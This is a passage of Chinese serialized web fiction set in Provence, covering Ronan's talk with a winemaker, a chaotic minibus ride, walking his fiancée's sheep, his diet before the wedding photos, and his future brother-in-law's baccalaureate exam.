“以我的酒庄为例,5%的王室特供,30%的米其林直供,其余的流通向会员俱乐部。”这并不是什么商业秘密,伯纳德很愿意给他人介绍酒庄的配额比例,见罗南看起来很感兴趣,他继续说道,“我有一个朋友,也是巴黎人,他酒庄里最好的酒每年还要留出10%-15%给国际拍卖行。” 罗南有一点想不明白: “万一留多了或者少了怎么办?我的意思是怎么能确信王室、米其林餐厅和拍卖行会收购多少瓶酒呢?” 伯纳德耐心的解释: “因为我们还有预购政策,买家需支付60%定金锁定未装瓶酒液,如果你不支付,这些酒就是其他人了的,这样我们就能很好的把控比例并且掌握明年的销量情况。” 罗南斟酌了一下,问道: “这些政策.就可以让你的酒庄变得高端?” 伯纳德再次露出自信的笑容: “我的红酒售价在6年时间内翻了4倍多,这还不能说明问题吗?” 那之后,伯纳德又给罗南讲了许多高端酒里面的门道,整次会谈下来,罗南受益匪浅。 ‘学习’了这么多东西,拒绝时罗南都没有一开始那么理直气壮了,采用了更为缓和的手段,没有直接说不,只是说要考虑一下,看看未来有没有合作的可能性。 伯纳德表达了遗憾,同时也理解罗南这样选择的原因——想要和厉害艺术家合作就是这么困难,在这个年代,尤其在普罗旺斯,艺术家有的时候比明星还难搞。 “如果伯纳德真的这么势在必得,你直接拒绝他可能会更好。”听了罗南的描述,佐伊有些后怕的说,“歌迪亚说,有些合作方非常‘执着’,执着到她想杀人了。” 听到佐伊复出的消息,许多合作方都行动了起来,里面难免也有几个‘势在必得’的,他们的做法就是不停的骚扰歌迪亚。 身为斯特斯加的‘老板娘’,佐伊非常清楚斯特斯加未来一定会走高端路线,那么罗南和伯纳德的合作可能性几乎为零,既然这样不如早早的断了对方的念想。 罗南一回来就和莉亚配合着做甜品,头都抬不起来一下的那种。 他塞了一块巧克力边角料到不需要减肥的佐伊嘴里: “伯纳德代表的不是他自己,而是整个‘巴黎新酒农’团体,万一他们愿意带我玩呢?你要知道,只要被定义成了‘巴黎新酒农’,斯特斯加就自带一个高端标签了,现在没有什么合作的机会不代表以后也没有,拒绝的那么决绝未来就没有什么回旋的余地了,好了,别想这件事了,快替我多吃点,你知道我闻了一天的巧克力味道,但一口都不敢吃有多难熬吗?” 佐伊咬了一口,把巧克力拿到手上: “你还在减肥吗?你已经瘦了三四斤,足够了。” 罗南最近除了不参与一切聚会,还把酒借了,每天吃的比呼呼还健康。 家人和朋友看他这样心里可心疼了。 罗南倔强的摇头: “拍婚纱照那天,我必须回到之前的重量。” 后几天没有比赛的安排,只是展示。 罗南就没必要继续呆在艾克斯了,由莉亚带领妇女们完成足够。 而且刚刚斩获了一批‘信徒’的莉亚也需要更多的展示空间,罗南留在艾克斯,关注度和目光都只会落在他的身上。 比赛结束那天的晚上,罗南给莉亚上了一节超长‘速成班’,保证她可以复刻出比赛的第二个甜品,下课时都凌晨了。 在艾克斯草草过了一夜,第二天佐伊去其他地方参加活动,和歌迪亚一同离开,罗南因要回去处理集市的工作,独自返回卢尔马兰。 这次他开来的是一辆大面包车,晚上展示区收摊后,妇女们要把道具放到车子上带走,所以罗南不能开车走,那么只能搭车回去。 随着卢尔马兰的名字变得响亮,在艾克斯找回去的车子并不困难,罗南很快就在长途汽车站附近找到了目标。 那是一辆破旧不堪的小巴士,准乘11人的它足足吞下了15个游客和他们的大行囊才满意的发动,只因健谈的老板不停欺骗路过的游客,说‘这是今天最晚一班去卢尔马兰的车了,要去见识新艺术之乡的人赶紧’。 去吕贝隆的车全部是私人运营的,根本没有什么秩序可言,这些可怜的外地游客就这样被一个一个被骗上了车子。 身为一个普罗旺斯人,罗南当然不会被这种小伎俩所欺骗,但这个司机称呼卢尔马兰为‘新的艺术之乡’,搞得他也不忍心戳穿.心甘情愿的乘坐它返乡。 对外地人来说,到了普罗旺斯,首先碰到的头痛事便是混乱的交通,跟这里的交通比起来,混乱的私营车都可以用‘乖巧’来形容了。 一行驶入主路,万舸争流的景象就会让外地人眼前一黑,那感觉就像是直面一股迎面扑来、密不透风的金属海浪。 小巴几乎在瞬间被卷入了高速奔驰的车辆漩涡之中,更吓人的是,随处可以看到的车辆超速行驶,那场景就像是刚抢完银行的罪犯正夺路而逃。 而勇敢的普罗旺斯司机喜欢将他们前面的每辆车都视作一个挑战——你一个保险杠都没了的老雷诺,凭什么在我面前甩尾巴? 罗南从此起彼伏的尖叫声中判断,今天这一车人除了他和司机都是外地来的,本地人才不会在看到司机闯红灯时大喊‘ohmygod!ohmygod!!’呢,在这个时候,普罗旺斯人会选择性的瞎了。 有一个戴着眼镜的第一排游客,实在忍不住,提醒司机: “先生,这里限速80,请你看一下指示牌。” 那司机挠着胸口说: “限速是对自由的无力约束,我们本地人才不会买账。” 说完小巴弹射而出,也成了一辆拉着刚抢完银行的罪犯的车辆。 随即车里的尖叫声更盛,五六种不同的语言狂飙,虽然大部分都听不懂,但罗南猜那一定是问候司机亲戚的。 那名顾客还想说什么,被旁边的友人一把捂住了嘴: “上帝,求求你了,求你不要再和他说话了!” 罗南也捂住了嘴,生怕自己成为这艘‘尖叫船’里唯一微笑的船员。 这名友人的担忧就是另外一个故事了。 普罗旺斯人有个很奇怪的习惯,就是两只手不做点什么动作,不会说话。 他们表示强调时,手指会不停上下摆动;表达沮丧时,胳膊就会抬得高高的,这是他们语言的伴奏。 如果在餐厅或者酒馆里,看到两个人争论时手舞足蹈的样子,倒是蛮有趣的,但如果在公路上,而且是一辆车速为每小时九十公里以上的小巴司机,将手臂交叉抱在胸前开车的话.大部分人的心脏都会突然停止跳动。 车子行驶出去一个多小时,尖叫声才完全消失,这要感谢吕贝隆沿途的美丽风景。 罗南猜,车子上的大部分人在这一刻才没有后悔来这一趟。 天空的蓝、青草的绿、房屋的黄、果实的红.鲜艳的色彩让大家逐渐闭上了嘴巴,贪婪的看着两侧的乡村美景。 在这样一派安宁、没有车马喧哗的路上开快车实在煞风景,此情此景,唯有慢慢欣赏才对得起。 有人再一次提醒司机开慢点,这次他们甚至用上了敬语,但司机也同样用敬语回答: “我理解您的心情,到了卢尔马兰你们有一整天的时间欣赏这里的乡村美景,不要着急,我会快一些把你们送到目的。” 游客们很快不再多言。 只怪自己今天运气太差,遇到了一个没有情商、脾气差劲、心里只知道赚钱,还不懂交通法规的该死司机。 罗南闭起了眼睛,昨天睡的晚,他有些睁不开眼睛了。 但不知过了多久,小巴用一种几乎抱死的状态停了下来,车子里再次出现各国问候家人的母语。 罗南看向前挡风玻璃,发现他们此时正处在一个弯道处,显然是司机高速过弯,突然看到了什么东西,紧急踩下了刹车。 而阻挡住车的东西,他也看清了,那是一面会移动的、毛茸茸的‘墙’。 “哇,是羊,好多羊!”有游客惊喜的探出了脑袋。 小巴车前是一群绵羊,有几百头,完全堵住了去路,而且一眼望不到尽头。 很显然它们是出来放风时,误入了危险的公路。 “摁喇叭啊,让它们离开这里,这不是它们该来的地方。”有游客大声抱怨。 他们可不像因为一群羊而耽误了去新艺术之乡的时间。 那位司机关掉了引擎: “先生,不要因为你有自由的权利,就剥夺了羊的自由,在普罗旺斯,路权同样属于羊群。” 说罢,他把两只脚架到了方向盘上,摆出一副不疾不徐、要等羊群完全离开才会继续上路的陌生样子。 罗南没有理会车里嘈杂的声音,耐心的再次闭上眼睛,只是心理一直在重复着那句话。 “不要因为你有自由的权利就剥夺了羊的自由。” “羊的自由。” 第498章 减肥之迈开腿 罗南到了卢尔马兰没有回家,也没有去餐厅,而是直接去了佐伊家。 佐伊去了外地工作,路易留在艾克斯陪莉亚多待一天,维埃里也出去学习了不在家里,当啵啵那几只留守儿童看到罗南来了,尾巴摇成了直升机的机翼。 罗南蹲下热情的和每一只狗子进行了亲密的互动,口水沾满了整个上衣: “憋坏了是不是?等我遛完羊带你们去我家。” 喂了它们一些吃的东西,罗南走向院子里的羊圈。 在路上耽误了些时间,罗南到卢尔马兰时已经过了午饭时间,呼呼甚至都没起来看一眼,始终用屁股对着入口的方向。 聪明的小家伙知道,在这个时间,罗南出现和自己没有什么关系。 但罗南却拿着绳索走向它: “昨天没有遛你,今天补一次,去不去?” 呼呼腾空而起,180度调转身体,咩咩咩的迈着小碎步去找罗南,平时这幅贱兮兮的样子只会出现在见到佐伊时。 呼呼配合着罗南穿好脖套,罗南摸了摸它的脑袋: “我们晚些再出村子,但今天你可一定要听话啊。” 以前呼呼散养时,非常喜欢在村子里活动,很多次罗南都是在路易家附近见到它的,周围的邻居也都知道村里出了一只喜欢满处溜达的羊。 后来旅游季开始,呼呼被圈养,到了后期罗南为了准备比赛带它出去,也会特意绕开人流量密集的区域,用最快的速度去到无人区,算算时间,呼呼已经一个多月没在村里溜达了。 这一次,罗南没有着急把它牵出去,而是带着它在村子里转了转,主要是呼呼之前经常活动的区域。 路易家距离小吃街不远,但那里人流量太大了,罗南把呼呼带去了艺术谷仓附近,那里同样在呼呼之前的活动范围里,但游客相对于小吃街会相对少一些。 但即使这样,罗南和呼呼的出现也引起了‘轩然大波’。 “这人是在遛羊吗?” 许多游客‘尾随’着罗南和呼呼一路前行,这一幕实在太让人觉得不可思了。 赶羊的不是牧羊犬,变成人了? 这难道也是卢尔马兰的特色之一? 但没听人说过啊。 罗南习惯了被人注视着,昨天在艾克斯,围观他的人比这会还要多,他倒是无所谓,就是有点担心呼呼没见过这么多人,会应激。 结果是他想多了,呼呼左看看右闻闻,只要不妨碍它溜达,根本不把人放在眼里。 如果有哪个没有眼力见的家伙阻挡了它的去处,呼呼会抗议的叫两声,游客们见这小东西这么有意思会马上让开位置。 呼呼非常有主见,它有自己想去的地方,根本不用罗南指引什么,对卢尔马兰村老熟悉了。 这样看来,绳子后端的罗南反而更像是被溜的。 左右商铺里的艺术家们也好奇的走了出来,呼呼可是这条道上的老面孔了。 “哎呀,是这只小羊,它好久没出现了,前一阵子我还担心它呢。” “担心什么啊,这是佐伊养的羊,佐伊还能把它吃了不成?” “就是就是,你看罗南都把它牵出来玩了,对它多好啊。” 罗南有些惭愧的摸了摸呼呼的后背: “以后我每天带你在村里转转再去村外。” “咩咩咩——” 罗南不知道呼呼听没听懂,但羊蹄似乎变得更加轻快了。 遛羊的一幕很快成为卢尔马兰的一道风景,围观的人多,拍照的人也多。 为了不给政府增加管理负担,估摸着呼呼也玩得差不多了,罗南带着呼呼离开村中心的密集区域,找了个岔路口拐向了通往村子外围的小路。 这一路呼呼无比顺从,很少和罗南进行拔河对抗。 到了荒地上,顺着呼呼的意愿向前走了一阵子,罗南忽然手上一个用力,把呼呼拉停了。 呼呼先是发出一阵不满的‘嘟囔’。 这才哪儿到哪儿啊? 平时会继续向前走很远才停下啊。 但似乎是想到,刚才还在村里转了一圈,去了好久没去过的地方,已经赚到了,而且下午这一趟是‘额外’的,它呆滞的看了前方几秒,低下头开始顺从的吃草。 突然,呼呼感觉脖子一轻,再抬头时罗南顺手就把它的绳套解掉了。 罗南一只手拿绳索,一只手指了指前方,就是呼呼刚刚看的方向: “去跑跑吧。” 呼呼愣了好几秒,似乎是没明白罗南的意思。 人.你今天的举动太反常了。 不知道羊脑没有多大容量吗? 你究竟要弄哪样? 罗南又说了一遍,呼呼还是石像般停在原地,连草都不吃了,被逼无奈,他后退一蹬,跑了出去,同时大喊道: “你不是最能跑了吗?去年比赛一开始你就把其他羊甩到身后去了,跑啊,快跑,这里没人,你可以自由的奔跑!” 不要因为人有自由的权利,就剥夺了羊的自由那可是最向往自由的呼呼啊。 罗南脑海中不停闪现去年他和佐伊将发现呼呼和将它买下来时的景象。 一道褐色的矮小身影‘唰’的一下将罗南超过,一边跑还一边‘咩咩咩’的狂笑。 罗南也大笑着在后面追逐: “呼呼!冲向你的自由吧!” 罗南觉得自己做了一件非常伟大的事情,心情无比舒畅。 但只过了十几分钟他就笑不出来了. 他把呼呼跟丢了! 羊去追逐了自由,但人跟不上它的速度啊。 最开始罗南还能勉强看到一点点褐白相间的斑点,到后来他满眼只有绿色的草、绿色的草和绿色的草,哪里还有羊的影子? 罗南顿时就慌了。 本意是想让呼呼过的开心点,但如果呼呼丢了,他的未婚妻之后一个月都开心不起来了,佐伊一定会以泪洗面的。 想到呼呼喜欢一路向前,罗南也一路向前追赶,跑啊跑啊跑,都快跑到隔壁古德村了,还是没有找到羊。 他插着腰,声音像是一个破风箱似的,虽然两只腿无比沉重,还是咬着牙边跑边喊: “呼呼,呼呼!” 又过了半个小时,罗南实在跑不动了,一头躺到草地上,汗水都把眼睛糊住了。 “完了,这次真的完了” 罗南不敢休息太久,佐伊明天回来,还有‘挽救’的时间。 躺了几分钟,他强迫自己站起来,用同样的速度原路往回跑。 他要去村子里找帮手,把大家号召起来一起找羊。 跑啊跑啊跑,卢尔马兰城堡的尖顶越来越近,罗南的意志力已经在崩溃的边缘,这个时候脱下来鞋子一定可以倒出汗来,同时看东西也有些模糊,估计是运动过量了。 为什么说看东西模糊呢? 他居然在一个多小时一尘不变的绿草地里,看到了两抹其他的颜色——褐色和白色。 “我*。”罗南一个急刹车调转了方向,中国话都飙出来了,“那不是我羊吗??” 罗南跑过去,想要狠狠给呼呼来一巴掌,但他又下不去手。 呼呼现在待的地方,就是他之前解掉绳套的地方。 孩子确实是跑丢了,但是孩子又自己回来了.你说这叫怎么个事儿呢? 阻拦罗南动手的另一个原因是,见到罗南回来,呼呼迈着六亲不认的步伐‘咩咩咩’的向着他跑来,那小蹄子都开心的悬空了,似乎在说: 你咋才回来啊? 我等你老半天了! 罗南虚弱的抱住羊头,有气无力的说: “你这家伙,差点吓死我了好吗!” 呼呼用力蹭了蹭罗南的胳膊,还用头顶了顶他的下巴,一点都没听出来话里有多少责怪的意思,一脸的讨好。 “走吧,回家。”罗南终于露出了微笑。 在外面待的时间有点长,罗南到佐伊家时,维埃里已经回来了。 明天他就要去会考,今天的主要任务是好好休息,调整状态,饭什么的不用自己做了,去罗南那吃。 但这次罗南要带走的不止是维埃里,居然还有一只羊和三条狗。 维埃里人傻了 不是,明天我会考啊,今天有那么多张嘴要去你家蹭饭? 罗南给啵啵等几条狗穿好背带,把绳子递到维埃里的手上: “等你考完,佐伊回家再把啵啵它们接回来,主人不在家,它们几个自己在家多无聊啊,去我那住两天吧。” 罗南来的时候,几只小狗都高兴疯了。 这几只小狗很粘人,平时必须呆在人的身边。 人类要忙的事情有许多,但狗的世界里只有主人,没有其他。 莉亚去了艾克斯,路易不想错过妻子人生中最重要的时刻,决定晚一天回来,佐伊又复工了,维埃里还要考试,肯定没有时间陪几个孩子,最好的办法就是罗南把狗带去他家。 见罗南又拿起了呼呼的绳索,维埃里更加好奇的问: “呼呼也去?” 呼呼可不亲人啊. 它只会目中无人。 罗南宠溺的帮呼呼拿掉粘在身上的杂草: “住羊圈对呼呼来说是一种折磨,我想让它先去适应一下我家,我那里地方大,可以散养,即使现在不去,一个多月后它也要去了,去试试吧。” 论呼呼的居住条件,罗南家肯定比佐伊这里好多了。 佐伊家在卢尔马兰村中心,院子没有很大。 之所以把它安排在这里,是因为呼呼无法和罗南共处。 不过经过最近这段时间的相处,尤其是今天这一遭,罗南觉得他和呼呼相处的问题应该不大了。 他家后院大,外面有葡萄园,更远的地方是森林,那边游客并不多,完全可以让呼呼散养。 现在唯一的问题就是马赛和呼呼的关系。 不过,马赛平时在屋子里待的时间更长,呼呼如果在外面,也不是不能解决。 他决定回去先观察观察。 尤其这些问题是他早晚要面对的。 维埃里回头看了看自己家的房子,犹犹豫豫的说: “那今晚我就要自己住了?” 他可不是害怕啊,只是觉得有点无聊。 罗南摸了摸维埃里的脑袋: “不,你今晚也住我家,我明天送你去会考,你去收拾东西和书包。” “我不用你送,我自己可以——”维埃里想要反驳。 路易咨询过维埃里的意见。 一边是从来没有独自出去过的妻子,一边是即将会考的儿子,他两边都不想错过,只恨自己为什么不能分成两半。 是维埃里强烈要求爸爸在艾克斯陪妈妈,因为这是妈妈人生中最重要的一次经历,而他的重要经历会有很多很多,权衡利弊之后,路易才决定在艾克斯多住上一天。 维埃里认为,会考只是很普通的一天,让家人们不要区别对待。 罗南一句话就让他住嘴了: “这是我回来之前伊莎贝尔要求的,你如果不同意就打电话直接和她说吧,我可不负责传话,伊莎贝尔如果同意了,我就让你自己回来住。” 维埃里低头自言自语了两句,也不知道在说什么,低着头去收拾东西了。 罗南把维埃里和几个小家伙安顿好,开始做晚饭。 他减肥不吃,但维埃里得吃饭,而且考试前的这顿饭非常的重要。 担心马赛和呼呼刚接触‘火星撞地球’,罗南没有选择带维埃里去餐厅吃,而是在家里做点什么,也好时刻看着它们俩。 知道罗南今天要从艾克斯回来,冯珍从中午就开始往家里打电话,一直打到晚饭时间才有人接电话。 罗南赶着做饭,匆匆两句话就挂了电话,没有细说今天的情况,担心儿子在路途上出了什么事、耽误了这么长时间,冯珍挂了电话马上回家了。 别看她嘴上不饶人,实际上可疼罗南了。 只是母爱的表达方法比较不走寻常路罢了。 但攒了一下午的母爱,在回家看到呼呼和小黑打的不知天地为何物、一羊一狗飞起来‘斗法’时消失殆尽。 一进屋她就对着在厨房里做饭的罗南怒吼: “你怎么把羊带回来了?带回来你倒是提前说一声啊,即使不提前说你也得管管啊,它们两都打出残影了!” 罗南回头看了一眼: “没事没事,这不叫打,逗着玩呢。” 这才哪到哪儿啊? 刚才羊角都卡狗牙里了。 冯珍没好气的把儿子顶开,母爱又变成了钢铁的形状: “去去去,快休息去吧你,你要做什么?” “你吃了吗?”罗南甩了甩手,“如果你吃完了,给维埃里做他一个人吃的就好。” 冯珍拎起平底锅就要往罗南的脑袋上敲: “你又不吃啊?我看你别减肥了,去修仙吧,直接飞升多好,我们人间容不下你了!” 罗南抱着脑袋四处闪躲,央求道: “哎呀别打别打,我胳膊和腿老疼了,真的老疼了!” 他现在身子像散了架一样,没有一个地方是不疼的。 冯珍先是担心的上上下下打量了一圈儿子,之后打的更用力了: “脸都减尖了,还减还减,再减就成骨头架子了!” 罗南一把攥住平底锅,惊喜的问: “我脸尖了吗?” 一分钟后。 一道喜悦的声音从屋内冲出,那嗓门大到呼呼和马赛都吓得停战了一秒。 “哈哈,今天瘦了3斤!3斤!!” 第499章 青春期的最后一个尾巴 那一晚的罗南无比开心,因为他找到了一个可以快速减掉体重的方式。 管住嘴的确起到了一些作用,但时间实在太紧张了。 但管住嘴+迈开腿.在规定日期内减掉十斤将不是梦想,而是唾手可得的东西。 第二天一早,罗南是家里第一个睁开眼睛的。 他先是去遛了5只狗,又去单独遛了羊。 今天遛呼呼的时候,罗南并没有松开绳子,即使它疾驰起来也死死的将绳索抓住。 这个月他就要和呼呼去参加山羊赛跑比赛,真正的备战从这一天开始! 不过备战的步子有些迈大了,呼呼跑起来可不会管后面跟不跟着人,罗南被拉着几乎快飞起来了.不到半小时吃了四五次泥。 “回来了?”罗天海听到开门的声音,对着大门的方向问,“你吃早饭吗?” 他已经习惯做饭之前先问一问减肥的罗南了。 “呸呸呸——”罗南一连吐了好几口泥才回答,“不用做我的,我吃饱了。” 冯珍在楼上听到儿子又不吃饭,气势汹汹的冲下来,边走边喊: “你还真想成仙了是不是?” 到楼下看到罗南的样子,她愣了好几秒,突然爆发出震耳欲聋的笑声,笑的直不起腰的那种: “吃土吃饱了?” 罗南从头到脚就没有几处干净的地方,连嘴里和牙上都有泥渣子,比冬天去森林里采松露还要狼狈。 “怎么会!”罗南上楼洗澡,“我早上吃过早饭才出去的,你们别忘了做维埃里的那份,维埃里——起床了!” 卢尔马兰只有不到1000个居民,根据《法国教育法典》1985版,常住人口小于5000的市镇须跨区就学。 小吕贝隆地区只有一所学术型公立高中,设立在博尼约。 如果不选择这所高中就学,要每天坐车一个多小时去卡瓦永或者阿普特。 是个正常人都不想把时间浪费在每天两次的三个小时通勤上.卢尔马兰周边几个村子的孩子都会选择在博尼约上学,维埃里自然也是那里的学生。 但会考地点在较远的阿普特,为了避免交通堵塞,6点15罗南就带着维埃里出门了。 “其实你完全不用送我,有校车接送。”即使车子已经发动,维埃里仍然想要说服罗南让自己去考场。 “但今天的校车不到6点就到卢尔马兰了,多出来的这15分钟足够你吃完早饭。”罗南把敞篷车的车顶打开,这个时间外面的气温和阳光都比较舒适,过了8点才会逐渐升温。 教育法规定,通勤超过3公里以上的学生有权享用校车服务,维埃里每天上下学都是通过校车通勤。 教育部自然也安排了考试车辆来接住在吕贝隆的孩子,只是这一辆车要接送好几个村子,从卢尔马兰发车的时间比较早。 维埃里愁眉不展的说: “之前听高年级的学生说,到了会考的日子脑子里想的最多的不是书本里的知识点,而是抱怨为什么吕贝隆的学术型高中只有那么一所这两天的通勤真够让人头疼了。” 会考这么重要的日子,却要面对三年中最长的通勤时间也难怪学生们要抱怨两句了。 “只有这几天,忍忍就过去了。”罗南安慰维埃里,“今天早点睡,不要复习了。” 维埃里想到什么,问罗南: “听说卢尔马兰要设立高中了?” 在卢尔马兰的扩建计划中显示,未来这里将有一所高中出现。 罗南对这个信息也不是特别了解,只是听布兰科和希尔维简单的说过两句: “不是学术型高中,好像是技术型高中。” 在法国,高中大体分学术型、技术型和艺术特长型三种,可能也有其他称呼的高中存在,但其核心教育理念和逻辑还是围绕以上三种展开的。 学术型高中就是维埃里上的这种,三年制,分文、理和经济三大方向,必修课是哲学,会考分数高于10分便可拿到文凭申请大学,高于13分可以冲击精英大学。 技术型高中即在高中阶段就开始主修某些技能方向,升学方式也是通过考试,顺利毕业后可以选择直接就业,或者申请工程师学院继续进修。 在吕贝隆,选择技术型高中的孩子占更大的比例,这是绝大部份普通家庭的首选,他们的目标通常是考试后直接就业,选择深造的是少数。 普罗旺斯艺术特长高中的主修方向为音乐、舞蹈、视觉艺术和戏剧艺术等,高中毕业专业分大于12(总分20)可以免试进入地区艺术院校,高于14分可以直升国立艺术院校,例如巴黎美院。 但入学门槛高、名额少、学费昂贵,需通过极为严苛的省级艺考,大排名后取最头部入学,只有那些从小就受过专业培训的孩子,或者艺术世家子弟才敢报考这里。 听到卢尔马兰要修建一所技术型高中,维埃里好奇的问: “主修什么方向的?” 每一所技术高中都有其‘核心优势’,例如卡瓦永的技术高中就围绕农业学展开,因为那里盛产甜瓜。 罗南摇头: “这个就不清楚了。” 罗南和布兰科他们聊的时候,扩建计划都只是刚刚确定,这些细节肯定还没有落实。 维埃里语气酸酸的说: “如果有选择的机会,我一定会留在卢尔马兰上技术高中,不会选择上学术高中了。” 罗南侧头看维埃里,给他打气: “别想这些了,快休息一下准备考试,我下午来接你。” 在学校门口,其他家长拉着孩子的手恨不得说十分钟,似乎有嘱咐不完的东西,罗南只是说了一句加油就目送维埃里进去了。 这正是维埃里的目的——家人的出现会让他压力山大,那反而会影响了他的情绪。 如果爸爸来送他,整个路途路易一定会不停的‘念经’,讲高中生活、讲会考前后、讲他年轻时的种种,可今天维埃里没有心情听为了拉近父子关系、一独处就过分热情的爸爸讲他过去的光辉故事。 如果是妈妈来送他,维埃里就更担心了。 从昨晚到今早,莉亚从艾克斯打来了十几通电话,许多问题她问了好几遍,但还是不放心。 维埃里猜妈妈莉亚很有可能在学校门口告别时热泪盈眶,哭哭啼啼的感慨一眨眼儿子都这么大了。 如果是姐姐佐伊来送他那是维埃里最不愿意见到的情形,姐姐来,罗南就会跟来,他们两个只要在一起,空气里就会弥漫着‘恶心’的气息。 “我才不要家长送,自己完全可以。” 第一天要考两门,上午法语,下午数学,午饭就在学校附近解决。 上午的法语是维埃里比较薄弱的环节,他更加擅长和数字有关的学科,而不是分析那些流传了几百年的诗句。 交卷之后,维埃里的情绪相当低落。 这次的法语分数可能会比模拟考还要低写作文的时候他脑袋里一片空白。 “比较波德莱尔与兰波诗歌中‘恶之花’意象的区别这些高中学过吗?” 维埃里连吃午饭的心情都没有了。 不过想到下午还有考试,他强迫自己出去吃点东西。 因为做了一些思想工作,维埃里出来的时候,学校门口已经没有什么人了,他一眼就看到了门口那个孤零零的高大人影。 “爸爸?” 路易的大手在空中快速挥舞起来,脸上一脸惊喜: “维埃里,这里!这里!!” 维埃里非常意外。 路易在电话里说,他要下午回来,按理说他们父子俩晚上才能见面。 “你怎么提前回来了?”维埃里来到路易身旁。 路易喜笑颜开的说: “你的会考我怎么能缺席?你妈妈会理解我的!怎么样,上午考的如何?” 维埃里马上低下脑袋,一边找了个方向漫无目的的走,一边踢脚下的石子。 答案显而易见了不是吗? 如果考得好,我为什么会最后一个出现在这里? 想象中父亲失望的叹气或者不甘的抱怨并没有出现,路易的语气和头顶的太阳一样热烈: “嘿,不说这些了,我定了阿普特最好吃的餐厅,我们去庆祝一下。” “庆祝?”维埃里抬头看过去,“庆祝什么?” 路易大笑着说: “庆祝我们在阿普特的亲子活动开始了啊,我跟你说,我知道阿普特许多好吃的餐厅,会考这几天我每天中午带你去。” 维埃里跟上脚步飞快的路易: “你每天中午都要来?” “当然!”路易笑着搂住儿子的脖子,“你人生中的确有许多重要的时刻,这不是唯一的一次,但我每一个都不想缺席,我们中午点炸鸡怎么样?你妈妈是不是不让你吃那些垃圾东西?我们偷偷吃,不告诉她。” 维埃里觉得头顶的阴霾瞬间消散了一大半。 有父母在身边感觉似乎也挺不错的? 罗南是从佐伊嘴里得知,他下午不用去阿普特接维埃里的消息。 今天下午,佐伊也回卢尔马兰了。 “你是说,路易带维埃里吃完午饭后没有离开,整个下午都待在阿普特等儿子考完试?”罗南无比震惊的问。 路易非常忙,非常非常忙。 自从普罗旺斯炒房热开始,他每天要带无数波客人看房子。 你是说如此忙碌的路易,居然连续‘旷工’三天了? 两天给了他的亲亲老婆,一天给了他的宝贝儿子。 许久没有工作,佐伊这次回来有些疲惫,当然了,她此刻扶着脑袋还有另外一层原因: “爸爸说未来几天他早上送完维埃里都不会离开阿普特,中午陪维埃里吃饭,晚上接他回来,这样的日子应该还有好几天吧。” 罗南赶紧喝了口凉水压压惊: “路易不仅是一位合格的丈夫,还是一个合格的父亲。” 佐伊摇着脑袋说: “记得不要跟维埃里说,爸爸要在阿普特待一天等他。” “为什么?”罗南好奇的问。 佐伊将面前的冰镇粉红酒杯放到罗南的嘴边,罗南摇头后,她无奈的喝了一口: “爸爸说,维埃里会觉得矫情,不想让他知道。” 维埃里看不得罗南和佐伊亲密,看不得父母亲密,看不得家人与他亲密,可能也看不得自己和其他人之间的亲密——这是他青春期最典型的特征。 罗南耸了一下肩膀,语气复杂的说: “说不定维埃里的青春期要结束了呢?” 佐伊撇嘴: “我觉得没有这么容易。” 罗南笑着摇头: “我觉得快了。” 罗南是维埃里最相信的人,听他这样说,佐伊好奇的问: “为什么?” 难道你观察到了什么我不知道的细节? 罗南指着一地的礼物袋子,哭笑不得的说: “因为他有这么在意他的爸爸,一天打十几个电话问情况的妈妈,还有一个这么舍得给他花钱的姐姐什么期过不去啊?” 以前佐伊出去不是给自己买,就是给家里添置东西,这次出去工作,她带回来的东西都是给维埃里的,说等弟弟会考结束不管考的好坏,都要给他一些奖励。 维埃里有这么爱他的家人、这么幸福的家庭青春期的叛逆该结束了。 罗南相信,这个道理懂事的维埃里一定明白了。 晚上维埃里来餐厅吃饭,见罗南总是用一副欲言又止的样子看他,过去询问怎么了。 罗南的确有一肚子话想说,但现在并不是说的时候,一切等考完试。 他不敢跟维埃里提路易的父爱,也不敢提不能在身边照顾的莉亚是如何如何的担心,更不敢跟他提姐姐的豪横,敷衍的说了一句便赶紧逃离: “没事,我就是觉得,论制造惊喜路易绝对是专业的,刚给莉亚制造完,又来给你制造了一个.你应该跟你爸爸学学。” 维埃里看着罗南的背影挠了挠头发。 惊喜? 时间转瞬即逝。 很快来到了罗南和佐伊的大日子——去艾克斯拍婚纱照。 感谢罗南的自律,也感谢狂奔不止的呼呼,减肥计划顺利完成。 而在去艾克斯拍婚纱照之后,小情侣要马不停蹄的去做一件更更重要的事情——领结婚证。 虽然婚礼定在了7月份,但罗南和佐伊的关系在6月初就将正式改变。 小情侣的称呼,也将在那一刻之后永久的变成‘小夫妻’了。 第500章 琳琅满目的婚纱照主题 罗南和佐伊拍婚纱照的地点在艾克斯,而米拉波大道上的甜品大赛展示摊位还在继续进行着,小情侣这趟去艾克斯自然要先去看看莉亚。 这是莉亚第一次独自离开卢尔马兰,而且一待就是好几天时间,不止路易不放心,佐伊也时常挂念母亲,总是怕她一个人在外面不适应。 没想到莉亚的状态非常好,红光满面的,还干劲十足。 罗南不在,她成为了妇女和女孩们的主心骨,不仅可以完美的复刻出两款比赛作品,还制作了许多在餐厅里供应的其他甜品样式,罗南甚至在他们的摊位上看到了琳琅满目的面包,都是面包大赛上推出过的这些并不在他们之前的计划中。 罗南一出现,立即进入工作状态,洗完手给甜品做造型: “这几天辛苦你们了。” 甜品大赛的展示时间已进入尾声,但游客量没有明显的减少,看起来和一周前比赛当天差不多。 6月开始,意味着暑期即将到来。 普罗旺斯一年中最最‘热闹’的几个月要正式开始了。 很快,这片土地就将被游客真正的攻陷。 “不辛苦,能被大家喜欢我们高兴还来不及。”莉亚抱起新的一篮鸡蛋,“谢天谢地,我们做的所有东西大家都很喜欢,这几天的营业额有一万多法郎。” “还卖了不少面包吧?”罗南熟练的和莉亚配合起来,“只是甜品卖不了那么多。” 甜品的制作过程相对繁复,需要大量造型时间,现场只有莉亚一位专业甜品师,即使她24小时不眠不休,也做不出来那么多东西。 但面包就好卖多了。 一炉一炉出的非常快,还好保存,上个月梅纳村面包大赛他们从卢尔马兰带去的面包一摆出来就没了。 “没错!”莉亚一提这事笑的无比开心,“是伊莎贝尔提议,说做些面包一起卖,我记得你在面包大赛上使用过的配方,做起来比较熟悉,试吃完甜品的顾客都会带点走。” 正在帮顾客计算价格、打包装兜一条龙服务的伊莎贝尔加入了他们的对话: “那是因为莉亚做的熟练,又快又好,罗南研究出来的面包又那么好吃,这么好的展示机会别浪费啊。” 一名顾客听到他们的对话,建议道: “你们卖的面包很棒,不比那些几十年的老店差,但我听说,你们卢尔马兰的餐厅里没有面包售卖,只有甜品这个活动结束,如果我还想继续买,应该如何做呢?” 